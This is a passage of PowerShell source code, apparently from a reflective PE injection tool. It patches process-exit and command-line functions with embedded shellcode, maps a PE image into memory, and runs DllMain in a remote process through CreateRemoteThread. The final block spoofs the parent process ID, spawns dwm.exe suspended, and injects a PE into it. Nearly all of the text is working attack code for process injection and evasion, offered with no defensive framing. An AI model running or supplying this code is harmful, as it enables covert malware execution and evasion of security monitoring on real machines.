Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") foreach ($Dll in $DllList) { [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) if ($DllHandle -ne [IntPtr]::Zero) { [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) { "Error, couldnt find _wcmdln or _acmdln" } $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) if ($Success = $false) { throw "Call to VirtualProtect failed" } [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) if ($Success = $false) { throw "Call to VirtualProtect failed" } [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null } } $ReturnArray = @() $ExitFunctions = @() [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") if ($MscoreeHandle -eq [IntPtr]::Zero) { throw "mscoree handle null" } [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") if ($CorExitProcessAddr -eq [IntPtr]::Zero) { Throw "CorExitProcess address not found" } $ExitFunctions += $CorExitProcessAddr [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") if ($ExitProcessAddr -eq [IntPtr]::Zero) { Throw "ExitProcess address not found" } $ExitFunctions += $ExitProcessAddr [UInt32]$OldProtectFlag = 0 foreach ($ProcExitFunctionAddr in $ExitFunctions) { $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr [Byte[]]$Shellcode1 = @(0xbb) [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) if ($PtrSize -eq 8) { [Byte[]]$Shellcode1 = @(0x48, 0xbb) [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) } [Byte[]]$Shellcode3 = @(0xff, 0xd3) $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") if ($ExitThreadAddr -eq [IntPtr]::Zero) { Throw "ExitThread address not found" } $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) if ($Success -eq $false) { Throw "Call to VirtualProtect failed" } $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null } Write-Output $ReturnArray } Function Copy-ArrayOfMemAddresses { Param( [Parameter(Position = 0, Mandatory = $true)] [Array[]] $CopyInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants ) [UInt32]$OldProtectFlag = 0 foreach ($Info in $CopyInfo) { $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) if ($Success -eq $false) { Throw "Call to VirtualProtect failed" } $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null } } Function Get-MemoryProcAddress { Param( [Parameter(Position = 0, Mandatory = $true)] [IntPtr] $PEHandle, [Parameter(Position = 1, Mandatory = $true)] [String] $FunctionName ) $Win32Types = Get-Win32Types $Win32Constants = Get-Win32Constants $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) { return [IntPtr]::Zero } $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) { $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) if ($Name -ceq $FunctionName) { $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) } } return [IntPtr]::Zero } Function Invoke-MemoryLoadLibrary { Param( [Parameter( Position = 0, Mandatory = $true )] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $false)] [String] $ExeArgs, [Parameter(Position = 2, Mandatory = $false)] [IntPtr] $RemoteProcHandle, [Parameter(Position = 3)] [Bool] $ForceASLR = $false ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) $Win32Constants = Get-Win32Constants $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $RemoteLoading = $false if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) { $RemoteLoading = $true } Write-Verbose "Getting basic PE information from the file" $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types $OriginalImageBase = $PEInfo.OriginalImageBase $NXCompatible = $true if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) { Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue $NXCompatible = $false } $Process64Bit = $true if ($RemoteLoading -eq $true) { $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") if ($Result -eq [IntPtr]::Zero) { Throw "Couldnt locate IsWow64Process function to determine if target process is 32bit or 64bit" } [Bool]$Wow64Process = $false $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) if ($Success -eq $false) { Throw "Call to IsWow64Process failed" } if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) { $Process64Bit = $false } $PowerShell64Bit = $true if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) { $PowerShell64Bit = $false } if ($PowerShell64Bit -ne $Process64Bit) { throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" } } else { if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) { $Process64Bit = $false } } if ($Process64Bit -ne $PEInfo.PE64Bit) { Throw "PE platform doesnt match the architecture of the process it is being loaded in (32/64bit)" } Write-Verbose "Allocating memory for the PE and write its headers to memory" [IntPtr]$LoadAddr = [IntPtr]::Zero $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE if ((-not $ForceASLR) -and (-not $PESupportsASLR)) { Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue [IntPtr]$LoadAddr = $OriginalImageBase } elseif ($ForceASLR -and (-not $PESupportsASLR)) { Write-Verbose "PE file doesnt support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." } if ($ForceASLR -and $RemoteLoading) { Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop } if ($RemoteLoading -and (-not $PESupportsASLR)) { Write-Error "PE doesnt support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop } $PEHandle = [IntPtr]::Zero $EffectivePEHandle = [IntPtr]::Zero if ($RemoteLoading -eq $true) { $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($EffectivePEHandle -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process. If the PE being loaded doesnt support ASLR, it could be that the requested base address of the PE is already in use" } } else { if ($NXCompatible -eq $true) { $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) } else { $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) } $EffectivePEHandle = $PEHandle } [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) if ($PEHandle -eq [IntPtr]::Zero) { Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." } [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null Write-Verbose "Getting detailed PE information from the headers loaded in memory" $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" Write-Verbose "Copy PE sections in to memory" Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types if ($RemoteLoading -eq $true) { Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle } else { Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants } if ($RemoteLoading -eq $false) { if ($NXCompatible -eq $true) { Write-Verbose "Update memory protection flags" Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types } else { Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" } } else { Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" } if ($RemoteLoading -eq $true) { [UInt32]$NumBytesWritten = 0 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw "Unable to write shellcode to remote process memory." } } if ($PEInfo.FileType -ieq "DLL") { if ($RemoteLoading -eq $false) { Write-Verbose "Calling dllmain so the DLL knows it has been loaded" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null } else { $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) if ($PEInfo.PE64Bit -eq $true) { #Shellcode: CallDllMain.asm $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { #Shellcode: CallDllMain.asm $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) } $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } } elseif ($PEInfo.FileType -ieq "EXE") { [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null while($true) { [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) if ($ThreadDone -eq 1) { Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants Write-Verbose "EXE thread has completed." break } else { Start-Sleep -Seconds 1 } } } return @($PEInfo.PEHandle, $EffectivePEHandle) } [int]$ppid = 620 $spawnTo = "c:\Windows\System32\dwm.exe" $currdir = "c:\Windows\System32" $cmdline = "dwm.exe" $sInfo = New-Object StartupInfo $sInfoEx = New-Object STARTUPINFOEX $pInfo = New-Object PROCESS_INFORMATION $SecAttr = New-Object SECURITY_ATTRIBUTES $SecAttr.nLength = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr) $sInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($sInfoEx) $lpSize = [IntPtr]::Zero $sInfoEx.StartupInfo = $sInfo $hSpoofParent = [Kernel32]::OpenProcess(0x1fffff, 0, $ppid) $lpValue = [IntPtr]::Zero $lpValue = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([IntPtr]::Size) [System.Runtime.InteropServices.Marshal]::WriteIntPtr($lpValue, $hSpoofParent) $result1 = [Kernel32]::InitializeProcThreadAttributeList([IntPtr]::Zero, 1, 0, [ref]$lpSize) $sInfoEx.lpAttributeList = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($lpSize) $result1 = [Kernel32]::InitializeProcThreadAttributeList($sInfoEx.lpAttributeList, 1, 0, [ref]$lpSize) $result1 = [Kernel32]::UpdateProcThreadAttribute($sInfoEx.lpAttributeList, 0, 0x00020000, $lpValue, [IntPtr]::Size, [IntPtr]::Zero, [IntPtr]::Zero) $result1 = [Kernel32]::CreateProcess($spawnTo, $cmdline, [ref]$SecAttr, [ref]$SecAttr, 0, 0x08080004, [IntPtr]::Zero, $currdir, [ref] $sInfoEx, [ref] $pInfo) $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $Win32Constants = Get-Win32Constants $hRemoteProc = [IntPtr]::Zero $hRemoteProc = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $pInfo.dwProcessId) $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -RemoteProcHandle $hRemoteProc